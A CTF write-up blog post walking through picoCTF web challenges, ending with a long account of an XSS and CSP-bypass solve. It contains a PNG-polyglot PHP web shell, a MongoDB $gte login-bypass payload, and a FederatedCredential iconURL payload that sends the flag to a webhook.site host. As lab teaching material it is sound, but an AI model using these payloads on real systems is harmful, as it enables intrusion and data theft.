Introduction
picoCTF is an annual CTF comptition hosted by Carnegie Mellon University for highschoolers. Our team les amateurs plays each year and this year was no different. This year we placed 2nd place.
I solved all the web challenges for the team, along with some other miscellaneous challenges. This post will outline our problem solving process. I hope this format can help you how to solve the challenges, not just the solution.
Bookmarklet
Bookmarklet was a challenge was
about bookmarklets (duh), which are snippets of javascript that can be bookmarked. A bookmarklet
was provided in a textarea
, which when ran, gave you the flag.
javascript:(function() {
var encryptedFlag = "àÒÆަȬëÙ£ÖÓÚåÛÑ¢ÕÓÔÅÐÙí";
var key = "picoctf";
var decryptedFlag = "";
for (var i = 0; i < encryptedFlag.length; i++) {
decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
}
alert(decryptedFlag);
})();
All you needed to do was execute the javascript. Here are a couple ways that you could have executed it.
You could create a new bookmark with the URL being the javascript. There are a couple ways of doing this. First is to right click your bookmark bar, press Add Page, and in the URL bar copy the code in. It will look similar to the model below.
Add Bookmark
The nice thing about bookmarklets is that since they are URLs you can drag them to the bookmark bar like any other URL. You can drag the below to the bookmark bar to recieve the flag as well.
Drag MeThats how you solve it with bookmarks, I solved it by opening the console with Ctrl + Shift + J, then copy and pasted the code into the console and ran it.
Basically with any way you can execute javascript, you can solve the challenge. Its not meant to be a hard challenge but its interesting to analyze all the different ways you can solve this challenge.
WebDecode
WebDecode was an inspector challenge. Clicking through the page, you'll find that the about page tells you to try inspecting on that page ( Ctrl + Shift + I), and if you do, you'll find something suspicious sitting there.
<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9">
<h1>
Try inspecting the page!! You might find it there
</h1>
<!-- .about-container -->
</section>
That notify_true
attribute looks awfully suspicious! It also looks like something that
is Base64 encoded.
We can use CyberChef to decode this. It is personally my tool of choice when it comes to decoding stuff. Addtionally, CyberChef can detect common encodings and automatically decode them for you! Just press the button after pasting the input and it will automatically decode your input!
Unminify
This challenge is pretty similar to WebDecode. You are given a website and are told to find the flag. Again we can open the inspect menu (Ctrl + Shift + I) and take a look at what the markup looks like. There are a lot nested elements so we can use a nice feature of DevTools, expand recursively.
<body class="picoctf{}" style="margin:0">
Right click on the body
element and press Expand recursively, Then you can just go ahead
and scroll through the markup looking for the flag.
Firefox also has a really nice "Search HTML" bar where you can search for picoCTF
and
find the flag. (Another reason why firefox is superior to chrome)
IntroToBurp
Ok the inspector challenges are done. Next up is IntroToBurp. As the name implies, you can use BurpSuite to solve this challenge, but like all other web challenges this isn't nessasary.
The page looks like this:
Registration
Right, one more thing before we get into the challenge. It is important that you understand how HTTP requests for this challenge. I'll go over them quickly in the next section, but you should make sure you really understand them because this challenge relies on you understanding them.
Http Requests
HTTP requests are the "text messages" of the internet. Your browser sends HTTP requests to servers which will then process and reply with a response, which is then displayed on your screen. HTTP requests are made up of 3 sections, the Request Line, the Headers, and the Body.
Lets go over each portion and what info it stores:
- Request Line: This contains the Method, path, and HTTP version
- Headers: This contains key-value pairs with info about the request, info like
User-Agent
which tells the server which browser they are using orContent-Length
which specifies the length of the body. - Body: The main bulk of the request. Contains things like form details or passwords on a login page.
The body can be any file type, and the type of file is defined by the Content-Type
header. In this case the type is application/x-www-form-urlencoded
which contain multiple
key-value pairs like such.
Many applications use application/json
for the body, for instance No Sql Injection uses application/json
for its forms. File uploads also use the body field, for example if you inspect a file upload in Trickster, you'll see the file itself getting uploaded in the body.
This was a really quick introduction into HTTP requests, but if you still don't understand them, I recommend doing some research yourself.
We can fill this form with some random information. As seen above, I just filled it out with a
. When we submit the form, a POST request is made to the current page.
A POST request indicates to the server that we want want them to store this data.
Request Body application/x-www-form-urlencoded
Response Cookies
Response Headers
After submitting the form, the server returns us a cookie which is a session token. that our
browser will use for later requests. It also sends back a Location
header which
tells our browser to redirect to /dashboard
. (Note that the status code is 302.
Status codes in the 3XX range always mean redirect)
Anyways we are then redirected to /dashboard
, where there is a single input box
asking for a one time password. It looks something like this.
2fa authentication
If we enter anything and press the button, the following request is made:
Request Body application/x-www-form-urlencoded
Response Body text/html
Yikes, not any other info is given to us, so it looks like we just need to bypass the otp check somehow. At this point, it really isn't obvious how to procced, but if you read the hints, one of them is
Try mangling the request, maybe their server-side code doesn't handle malformed requests very well.
Lets start messing with the requests to see if we can get anywhere. Again, BurpSuite can be used to solve the challenge. Here are the steps to modify a request in Burp.
- Go to the
Target
tab, open the browser - Navigate to the page you want, then replicate the request you want to make. In this case we
want to replicate the
POST /dashboard
request which is made when you enter an OTP - Back in the Burp Suite window, right click the request, press "Send to Repeater"
- Click the
Repeater
tab, and start editing the request on the left - Press the Send button
This was actually the first time I used Burp Suite to solve a challenge like this, generally when I need to repeat a request, I navigate to the network tab of DevTools, right click the request and "Copy as Fetch" then use the javascript console to repeat the request.
A lot of people may tell you to learn Burp or whatever, but at the end of the day, it really doesn't matter which tool you use. Don't feel pressued to use any specific tool, fancy tools can help but at the end of the day you are limited by how much you know.
We'll try messing around with the body first. In BurpSuite the body should be the otp=a
part of the request.
I encourage you to mess around with the body yourself a bit. try changing that part of the request around and see what happens. Here is a recreation of the challenge. Try entering tings into the body and see what happens.
Request Body application/x-www-form-urlencoded
Response Body text/html
Hopefully you've played around with the challenge a little bit, because I'm about to spoil the
solution.
.
.
.
.
.
The first thing I tried was to remove the body entirely. To my suprise, sending an empty request actually worked and I got the flag.
Request Body application/x-www-form-urlencoded
Response Body text/html
Here are some other things you could have tried, take a look at what happens with each of these bodies.
Request Body application/x-www-form-urlencoded
Response Body text/html
No Sql Injection
True to its name, there is No SQL Injection, but there NoSQL Injection! NoSQL refers to non-relational
database structures where all data is stored under one singular data structure. In this
challenge, the NoSQL database of choice is MongoDB, and they use a javascript library known as mongoose
to interface with
it.
In a lot of database injection challenges, it's good practice to look at where the flag is, so it's easier to extract later, in this case, a quick search for flag shows that its part of the user schema.
const UserSchema: Schema = new Schema({
email: { type: String, required: true, unique: true },
firstName: { type: String, required: true },
lastName: { type: String, required: true },
password: { type: String, required: true },
token: { type: String, required: false ,default: "{{Flag}}"},
});
The User
schema can be found in two places, first when they place a seed user into
the database in seed.ts
, and secondly for the login page in route.ts
.
export const POST = async (req: any) => {
const { email, password } = await req.json();
try {
await connectToDB();
await seedUsers();
const users = await User.find({
email: email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password: password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password
});
if (users.length < 1)
return new Response("Invalid email or password", { status: 401 });
else {
return new Response(JSON.stringify(users), { status: 200 });
}
} catch (error) {
return new Response("Internal Server Error", { status: 500 });
}
};
The most important line is when User.find
is called. Basically, if our
username or password starts with {
, it'll parse it as JSON and use that as the
argument for User.find
.
Lets take a look at the docs for mongoose to see what we can do with objects in the User.find
.
// find all documents
await MyModel.find({});
// find all documents named john and at least 18
await MyModel.find({ name: 'john', age: { $gte: 18 } }).exec();
// executes, name LIKE john and only selecting the "name" and "friends" fields
await MyModel.find({ name: /john/i }, 'name friends').exec();
// passing options
await MyModel.find({ name: /john/i }, null, { skip: 10 }).exec();
Hmmm alright, looks like we can do some fancy stuff with objects like $gte
or even
regex! At this point I wasn't sure what to do, I could try using $gte
to bypass the
login screen, but I wasn't completely sold on using $gte
to bypass the check. So instead,
I decided to do some more research.
After a quick google search I stumbled upon this StackOverflow post which had just the payload I needed
{
"email": { "$gte": "" },
"password": { "$gte": "" }
}
Hah! Take that critical thinking and problem solving! Yet again, Google proves to be the best
resource in CTF, we can enter { "$gte": "" }
into both fields, and that will log
us in.
This works because mongoose will try to find any user who's email and password is greater than
or equal to ""
and any email or password wil be greater than or equal to ""
.
If we look at what will happen when you login, you'll see it returns all users that it matched.
If you are looking at BurpSuite, you'll see the request in the Target
tab, alternatively,
open up DevTools and click on the network tab, there you'll see the request:
Request Body application/json
Response Body application/json
Note: The response body is actually an array of users, but since there is only 1 entry so I flattened it can have this nice formatting
If you do not see that request, make sure Preserve Log
is checked. That way you won't
lose the request when it redirects.
And there we have it! The flag is encoded in Base64 under the token
field.
Trickster
This challenge was solved by my teammate @smashmaster, we've seen challenges like this so very quickly we realized we needed to upload a file that the server thought was a png, but in reality was a php file. This solve also seemed to match up with the name of the challenge.
smashmaster played around with the program a bit, and ended up guessing that the files you
uploaded were put into the /uploads/
subdirectory. So all he needed to do was to craft
a php reverse shell that also looked like a png.
The payload he ended up with was:
�PNG
IHDR�Xr�sRGB��� IDATx���y�l�]��ﻝ��uow�[j�F�ľ�1��bl�1`������`�3x�6�0f�Yd�A�Y����]H�X$$6�A�Xڢ%z��*3�9�2��=��jAK}[�M?��TUYY'3�"���~�kJ)�#e���(����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Nothing fancy, just a php reverse shell attached directly after a valid PNG. smashmaster named
the file polygot.png.php
because the server checks to see if .png
is in
the name of the file.
After uploading, you can just access https://atlas.picoctf.net:50563/uploads/poly.png.php?cmd=
and stick whatever command
you want after. You now have full RCE on the server, so now we need to go find the flag.
After poking around a bit, you'll find some files in the parent directory. ls ..
gives
you
GQ4DOOBVMMYGK.txt
index.php
instructions.txt
robots.txt
uploads
cat
ting the suspicious looking file gives us the flag yay!
Poking around some more
After that smashmsater poked around a bit more. instructions.txt
looks like a prompt
to an LLM to generate the source code for the challenge.
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
Finally, the source code of the challenge itself:
<!DOCTYPE html>
<html>
<head>
<title>File Upload Page</title>
</head>
<body>
<h1>Welcome to my PNG processing app</h1>
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$uploadDirectory = 'uploads/';
$uploadedFileName = $_FILES['file']['name'];
$uploadedFile = $_FILES['file']['tmp_name'];
// Check if the file has a ".png" in its name
if (stripos($uploadedFileName, '.png') !== false) {
// Check the first 4 bytes of the file for "50 4E 47" (PNG file signature)
$fileContents = file_get_contents($uploadedFile);
$fileSignature = bin2hex(substr($fileContents, 0, 4));
//if ($fileSignature === '504e47')
if (strpos($fileSignature, '504e47') !== false) {
$destinationPath = $uploadDirectory . $uploadedFileName;
if (move_uploaded_file($uploadedFile, $destinationPath)) {
echo "File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully";
} else {
echo "Error: File upload failed.";
}
} else {
echo "Error: The file is not a valid PNG image: ".$fileSignature;
}
} else {
echo "Error: File name does not contain '.png'.";
}
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" accept=".png">
<input type="submit" value="Upload File">
</form>
</body>
</html>
Elements
Alright its time for the main course! EhhThing's annual hellscape, Elements!! Last year, he wrote msfroggenerator2, which was very difficult. I was very excited when I heard he wrote another challenge for this year.
Before I start talking about the solution, I would like to thank my team for helping out with this challenge. This challenge could have not been possible without my incredible teammates who constantly push me to be the best I can be, as well as provide assistance whenever possible.
If you can, find yourself a team to play with, playing CTFs with friends is infintely more fun than playing alone.
Anyways, onto the solution! The next few pages of words will be full of pure malding and will outline everything that we tried before eventually arriving at our solution, so if you want to skip that, click here: Gimmie Solution!!
Overview
Lets go through a quick rundown of this challenge. Elements is an Infinite Craft clone, and our end goal is to get XSS and bypass the Content Security Policy preventing us from leaking any info. There are 4 important files. This section will be a brief overview of the files, but I recommend you download the challenge yourself and try to understand the files yourself.
index.mjs
: The main server code, this is what is responsible for serving files and spawning the admin bot. We'll be covering this file quite a lot because its the most important file in this challenge.static/index.js
: This is the client code, we'll use this file to get XSS, apart from giving us XSS it doesn't really need to be analyzed. You get XSS by crafting the "XSS" element, which we'll cover in Getting Eval.chromium.diff/chromium.deb
: This is the custom chromium patch that patches one of the unintended solutions to this challenge. We'll go over which unintended this patches, because although its not the possible to use it to solve, its still interesting to talk about.Dockerfile
: This is what brings everything together and what is actually being run on the server. make sure to understand that it starts a display and chrome is not headless.
Getting Eval
eval
is called in static/index.js
when you craft the "XSS" element. This
is done by combining the 4 elements until you get the XSS element.
const evaluate = (...items) => {
const [a, b] = items.sort();
for (const [ingredientA, ingredientB, result] of recipes) {
if (ingredientA === a && ingredientB == b) {
if (result === "XSS" && state.xss) {
eval(state.xss);
}
return result;
}
}
return null;
};
We can pass in a list of recipe steps in order to craft whatever we want. This means we can pass
the steps required to make the XSS element in order to get an eval
call.
try {
state = JSON.parse(atob(window.location.hash.slice(1)));
for (const [a, b] of state.recipe) {
if (!found.has(a) || !found.has(b)) {
break;
}
const result = evaluate(a, b);
found.set(result, elements.get(result));
}
} catch (e) {}
Generating the correct steps is not a trivial question though. I myself wrote a really crappy solution then manually sorted the list so it would craft things in the correct order, but my orz teammate @skittles1412 (usaco platinum, ioi gold? wow so orz) wrote a much better solution, so I'll be showcasing his solution instead.
The pairs of things you can combined to make a seperate thing is stored in a array called recipes
const recipes = [
["Ash", "Fire", "Charcoal"],
["Steam Engine", "Water", "Vapor"],
["Brick Oven", "Heat Engine", "Oven"],
["Steam Engine", "Swamp", "Sauna"],
["Magma", "Mud", "Obsidian"],
["Earth", "Mud", "Clay"],
...
["Exploit", "Web Design", "XSS"],
]
The first two values of each row is the two things you need to combine to make the third thing.
For instance, Exploit
and Web Design
combine to make XSS
.
We only start off with 4 elements (Fire, Water, Earth, and Air), and we need to combine our way
to "XSS"
The way we'll solve it is called DFS or Depth-First Search, in essence we figure out what two elements we need to create XSS
(Exploit
and Web Design
), then figure out the two elements required to make Exploit
(Cybersecurity
and Vulnerability
), then the two elements required to
make Cybersecurity, until we have a path from the original 4 ingredients to our desired XSS
element.
If that was a little confusing, lets take a look at the code to solve this.
const graph = {};
// constructs map for element => ingredients
for (const [u1, u2, v] of recipes) {
graph[v] = [u1, u2];
}
const visited = {};
const base = ["Fire", "Air", "Water", "Earth"];
const out = [];
function dfs(element) {
if (visited[element] || base.includes(element)) {
return;
}
visited[element] = true;
// get recipes for parents
for (const parent of graph[element]) {
dfs(parent);
}
// push the recipe onto the solution
out.push(graph[element]);
}
dfs("XSS");
console.log(JSON.stringify(out));
Here is a visualization of the algorithm. Yellow dots are the core 4 ingredients that you start with, blue dots are things that are already created. Hover over any element to see its name.
An intresting consequence of reusing stuff is the graph becomes a lot more left heavy as a lot of the algorithm earlier needs to traverse deeper, but later in the algorithm, it doesn't need to as the things it runs into are already created for it.
Cool, now that we have XSS on the page, the solve should be easy right? right??
Sweet, Sweet, Hellish CSP
CSP, or Content Security Policy is a web technology that allows a website to control how resources are loaded and used. The challenge has only started. We need to find a way to bypass the CSP in order to win, because if we don't bypass CSP, we won't be able to leak any information, and that includes the flag.
So, lets take a look at the CSP, shall we?
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-eval' 'self'",
"frame-ancestors 'none'",
"worker-src 'none'",
"navigate-to 'none'"
]
Lets go over every part of this CSP, and see what it prevents us from doing.
default-src 'none'
: This line prevents you from loading any resource from any url unless otherwise specified. This means no loading images, fonts, etc. from external websites.style-src 'unsafe-inline'
: This line allows styling as long as its done inline (with the<style>
tag).script-src 'unsafe-eval' 'self'
: This line allows javascript being run when using theeval
function, or if it is from the current origin, this means it can loadstatic/index.js
from the server without it getting blocked.frame-ancestors 'none'
: No<iframe>
s allowed :(worker-src 'none'
: Prevents you from using the WebWorkers API.navigate-to 'none'
: Disables any form of redirect to another page, even links are disabled.
This is incredibly strict, barely allowing us to do anything. There are a couple more mitigations to possible unintendeds that EhhThing put in place, but we'll cover them as they pop up.
Setting Up the Enviornment
This is probably the most important step in any web challenge, which is setting up the enviornment for this challenge. I usually skimp over this step, and it has bit me in the ass many, many times.
In this challenge, we need to setup the custom chromium build as well as hosting the server ( index.mjs
). Hosting the server is as easy as node index.mjs
because there
are no dependencies (thank you ehhthing!), but getting the chromium build is slightly harder
First thing we do is unpack chrome.deb
$ mkdir chrome
$ cd chrome
$ ar x ../chrome.deb
Inside we'll find two more tar files.
$ ls
control.tar data.tar debian-binary
Unpack data.tar
, and you'll find the chrome binary sitting at opt/chromium.org/chromium-unstable/chromium-browser-unstable
$ tar -xvf data.tar
$ ./opt/chromium.org/chromium-unstable/chromium-browser-unstable
Cool, now we have the same browser that will be used for the admin bot.
Initial Attempts
There are two commonly used CSP bypasses, DNS Prefetch, and using WebRTC. Both can leak data through a strict CSP. Both leaks do not involve the HTTP layer, which allows it to bypass the CSP.
We can use WebRTC by abusing a setting in RTCPeerConnection
. More specifically the iceServers
option (ICE stands for Interactive
Connectivity Establishment), which allows us to specify a list of STUN
servers
which will be used to resolve other clients for RTC. This means we can specify our own server as
a STUN
server, and it will be requested when the RTCPeerConnection
gets
used.
Unfortunately its not that easy, if we look at chromium.diff
, we'll find that RTCPeerConnection
was patched out.
diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
index f0948629cb..393e7c77e0 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
@@ -61,10 +61,7 @@ enum RTCPeerConnectionState {
// https://w3c.github.io/webrtc-pc/#interface-definition
[
- ActiveScriptWrappable,
- Exposed=Window,
- LegacyWindowAlias=webkitRTCPeerConnection,
- LegacyWindowAlias_Measure
+ ActiveScriptWrappable
] interface RTCPeerConnection : EventTarget {
// TODO(https://crbug.com/1318448): Deprecated `mediaConstraints` should be removed.
[CallWith=ExecutionContext, RaisesException] constructor(optional RTCConfiguration configuration = {}, optional GoogMediaConstraints mediaConstraints);
Taking a quick glance at the diff, we can see the line Exposed=Window
and LegacyWindowAlias=webkitRTCPeerConnection
were removed, and we can pretty
confidently say that RTCPeerConnection
is not accessable from javascript anymore.
We can also test this in our newly setup chromium instance. Inside the modified chrome, try
looking for RTCPeerConnection
in the javascript console, you won't be able to find it.
So we can't use WebRTC
. What a shame, we also look into DNS prefetch, but we'll see
it doesn't work.
DNS prefetch is a browser feature that allows the browser to resolve website IPs through DNS before you click on any link. This drastically decreases load times but we can also use it to leak information.
I'm not going to cover it in too much detail here, but I highly recommend the paper Data Exfiltration in the Face of CSP which goes over DNS prefetch much more thoroughly.
I was quite convinced that DNS prefetch was the intended solution because DNS prefetch doesn't
work without a display, and this challenge spawned an display (start_display.sh
) so
it made sense to me that DNS prefetch should work.
After a while of tinkering with DNS prefetch, I was unable to get it to work and smashmaster
pointed out that network_prediction_options
was set to 2 in the preferences.
await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
net: {
network_prediction_options: 2
}
}));
At first I thought a setting of 2 would always allow DNS prefetching, but after finding and consulting a docs page I found out that 2 meant "Don't predict network actions on any network connection"
Alright, those two ideas are dead. I have no more ideas.
A Random Assortment of Ideas
At this point smashmaster and I started searching for some new ideas. I'm just going to rapid-fire through them but here are some ideas we considered.
We looked into maybe some sort of CSS injection because of style-src 'unsafe-inline'
, but after thinking about it for a minute we realized
that wasn't going to happen.
We looked into the report-uri
and report-to
CSP directives before realizing there was no way to append these directives to the CSP that the
server served to us.
We also tried closing the admin bot window with window.close()
so the process.kill
would throw an error, but 1. window.close()
did not work
and, 2. We missed the massive try ... catch
block around process.kill
Another small thing we tried was creating an <a>
tag and using element.click()
to navigate to another page, but navigate-to
also stops these anchor tags which proved
to be very annoying.
At this point smashmaster and I started looking through some more web APIs, seeing if any of them could be of any use to us.
- CSS font loading API - Failed: Covered by CSP
- Fenced Frame API - Failed: Covered by CSP + very confusing to use
WebTransport
- Failed: We thought it was a similar API to WebRTC, and we could somehow pull off aniceServers
trick but for this, unfortunately, no dice. Also covered by CSP- Payment Request API - Failed: Covered by CSP
So it seems like the chrome developers are smarter than we anticipated, and all the APIs adhere to the CSP policy.
The DoS Era
By this point, our crypto main @HELLOPERSON had just blooded flag_printer with skittles1412, so he was able to help out with elements now.
We started looking into somehow performing a Denial of Service attack on the server, and then being able to detect that to leak info.
HELLOPERSON looked into some DoS bugs on the Chromium Issues website. We ended up not using any of these, but they are here for the intrested.
Show DoS Bugs
- Tab crashes when setting css cursor to svg with width or height = "128px""
- 3.Observed iframe crashes 4.Observed iframe is white in #122.0.6261.69
- Chrome chrashes on page load with error STATUS_ACCESS_VIOLATION
- SVG Memory exhaustion via inline XSLT in IMG tag
- Chrome confused while loading page
- nullptr read during <slot> movement on media query
- CHECK failure with MathML + ::first-letter
- ComputedStyleUtils::ValueForPositionOffset CHECK getting hit in canary
- Integer producing CSS Math functions crash with complex arguments
- Chrome Browser Dos
- Crash occurs in style_resolver.cc when running a HTML file
- Huge clip-path on small composited contents creates huge mask layer
- drop-shadow filters on a separate layer causes dropped frames in the webpage and browser UI
- set opacity of an element to tan(atan2(0.5rem + 1px, 1rem + 1px)) crashes
- inconsistency when selecting :empty on chromium
- Huge clip-path on small composited contents creates huge mask layer
- drop-shadow filters on a separate layer causes dropped frames in the webpage and browser UI
- Chrome Browser Dos
- SVG Memory exhaustion via inline XSLT in IMG tag
- Huge clip-path on small composited contents creates huge mask layer
- drop-shadow filters on a separate layer causes dropped frames in the webpage and browser UI
- SVG Memory exhaustion via inline XSLT in IMG tag
- Chrome Browser Dos
- resizing website viewport eats a lot of memory
- -webkit-animation this suspected memory leak
- [css-contain] Very poor layout performance in Construct 3 PWA
- memory leak in @keyframes CSS animation
- memory leak in svg with animation, if the stacktrace is anything to go by it looks like it would be (CSS) animation objects not being cleaned up.
- blink::Animation objects leak in background tab
- svg stroke-dashoffset animation caused page crash
- SVG infinite animation lead to memory increase and high CPU utilization
- Memory leak with dynamic changes to 'container-type: size'
- Memory leak when using :empty::before after node remove
- asynchronously setting contain: strict causes memory leak
Although we ended up not using any of the bugs listed above, we still tried going with the idea of DoSing the server.
At first we tried using while(1)location.reload()
to hopefully force the browser to
consume enough resources in order to detect some timing difference when requesting other pages.
We would request the page multiple times while the browser was alive and then request when the browser wasn't active. Then we would find the average request time during both periods.
XSS = """while(1)location.reload()"""
payload = json.dumps({'recipe':recipes, 'xss': XSS})
# starts the browser
r = requests.post(
f"http://{DOMAIN}/remoteCraft",
params={'recipe':payload}
)
# requests over the course of 10 seconds
if True:
times_run = 0
sum = 0
start = time.time()
while time.time() - start < 10:
tstart = time.time()
requests.get(f"http://{DOMAIN}/")
tend = time.time()
sum += tend - tstart
times_run += 1
print (f"load avg: {sum / times_run}")
# requests over the course of 10 seconds
# but the browser is off
if True:
times_run = 0
sum = 0
start = time.time()
while time.time() - start < 10:
tstart = time.time()
requests.get(f"http://{DOMAIN}/")
tend = time.time()
sum += tend - tstart
times_run += 1
print(f"nonload avg: {sum / times_run}")
Unfortunately, the timing differences between when the browser was open and when it was close was too small/variable to detect a difference between the two. We tried other payloads that utilized HTML that was rendered really slowly but nothing ended up working.
Additionally, skittles1412 thought about filling up the disk until the entire server crashes, he ended up getting >9gb of data onto the server, but this ended up not working, also it would be very, very slow to exfiltrate data this way.
In the end, we spent an entire day chasing this lead. I should have realized that this wasn't going anywhere earlier so we could have investigated other things earlier.
Back to Random APIs
Yet again we were out of ideas, so smashmaster went back to looking at new APIs. This time he
threw out a lot of ideas. He started looking through this page in the chromium source. We scanned through LockedMode
, ModelExecuationAPI
, RTCJitterBufferTarget
. smashmaster also brought up
that the CredentialContainer
from the Credential Management API and how there is an iconURL
field in the create()
method.
We tried using the create()
method with an iconURL
to request a URL, but
nothing happened when calling the function. So we moved onto the next idea.
navigator.credentials
.create({
password: {
id: "ergnjregoith5y9865jhokmfdskl;vmfdl;kfd...",
name: "fluffybunny",
origin: "example.com",
password: "fluffyhaxx0r",
},
});
Next up was revising <fencedframe>
. Last time we looked at it, we didn't really understand what was going on, so this time we
tried playing around with it some more. This lead didn't last long though, because I decided to
take a second look at the Credential Management API.
This time, I really wanted to understand how the Credential Management API worked, and what it
was used for. It bugged me that when we ran the create()
function, nothing really happened.
So I started playing around a bit more with the API as well as read the documentation.
The Credential Management API is used when the website wants to store a password to the
browser's password manager. Using navigator.credentials
, which is an instance of CredentialContainer
, will allow you to manage credientals for the current page by
interfacing with the browser.
CredentialContainer
has a couple methods for managing these credientals. You've
already seen create()
but it also has get()
and store()
There are also multiple types of Credentials that you can store, which can be found here. We'll only be looking at PasswordCredential
and FederatedCredential
because those two are the only ones with the iconURL
field.
When you call navigator.credientals.store(cred)
on a PasswordCredential
or FederatedCredential
, the user will be prompted to add the credential to the
browser.
Save Password?
UsernamePassword
Save Username?
Astute readers would have already realized what the solution is, but lets continued with my
experimentation with this API. I started messing around with PasswordCredential
and
storing them. It turns out if the user accepts, and then you call navigator.credientals.get(cred)
with the same PasswordCredential
object, you'll get the following popup.
Sign in as
If we set the iconURL
to a server we control, we'll see when call get()
on the PasswordCredential
, we'll see that it gets requested! We can leak things!
Sadly, this only works if the user accepts the prompt to save their password. This means that it requires user interaction to exfiltrate data, so we can't continue with this method.
At this point I decided to play around with the FederatedCredential
because I didn't
think that I would be able to get user interaction.
When I stored the FederatedCredential
, it turned out that the icon was part of the
prompt! We now had a CSP bypass and could leak the flag.
Bringing it all together
We now have all we need to solve the challenge, lets first use our DFS script to get the XSS element.
$ node dfs.js
[["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]]
We'll be using python requests to write a solve script here. In the solve script, assign a variable to the output of the script.
Then we need to craft our XSS payload, here is the one I used.
const cred = new FederatedCredential({
id: 'solve',
provider: 'https://google.com',
iconURL: 'https://webhook.site/860b1d8d-f0cc-4cb8-aeca-xxxxxxxxxxxx/?'+state.flag,
});
navigator.credentials.store(cred);
Then we send the request and get the flag!
recipes = [["Earth","Fire"],["Earth","Water"], ...]
XSS = """..."""
assert len(XSS) < 300
payload = json.dumps({'recipe': recipes, 'xss': XSS})
r = requests.post(f"http://{HOST}/remoteCraft", params={'recipe':payload})
print(r.text)
If you are on a chrome style browser, you can click the following to see the popup for yourself.
In hindsight, this API seemed a tad bit obvious because of how EhhThing explicitly created a new profile for each bot, which means that whatever the exploit was had some sort of profile persistance. (Which this one happened to have, the popup only opens the first time)
Closing Thoughts
This year's picoCTF was fun, albeit easier than previous years. I had fun with all the challenges, especially Elements.
For anyone who is still reading, thanks for reading! I know that this writeup was much longer than most you'll find, but I hope that I was able to illustrate how we think about these problems and how we come to solve them.
Even with how long the elements portion is, we tried much more than what was listed in this post, and I hope this paints a picture of how much trial and error is involved with challenges like this.
The most important skill is a willingness to learn and keep trying. This is something I suffered with last year, not really pushing through solving msfroggenerator2, but it's something I myself am hoping to improve at.
Figuring out which paths won't lead anywhere takes a good amount of intuition, and that intuition can only be built through practice. Speaking of practice, time for shameless plugging time!! Our own CTF, AmateursCTF, is happening April 5th! It will be a fun time :)
Finally, because I was the first to solve elements the way the author intended, EhhThing sent me
a goose plushie from his school, University of Waterloo. Here it is in all its glory.
Special Thanks
Yet again, I would like to give thanks to my team for being such a great group of people. Also thanks to EhhThing for sending me such a cute goose plushie :)
Additionally, please help improve this article!! If you are confused about any given section, or have suggetions, please, please DM me at @voxxal on Discord. I want to make this writeup the best it can be, and if any part of it is confusing, I'd like to clear that up for future readers. You'll also be added to this section!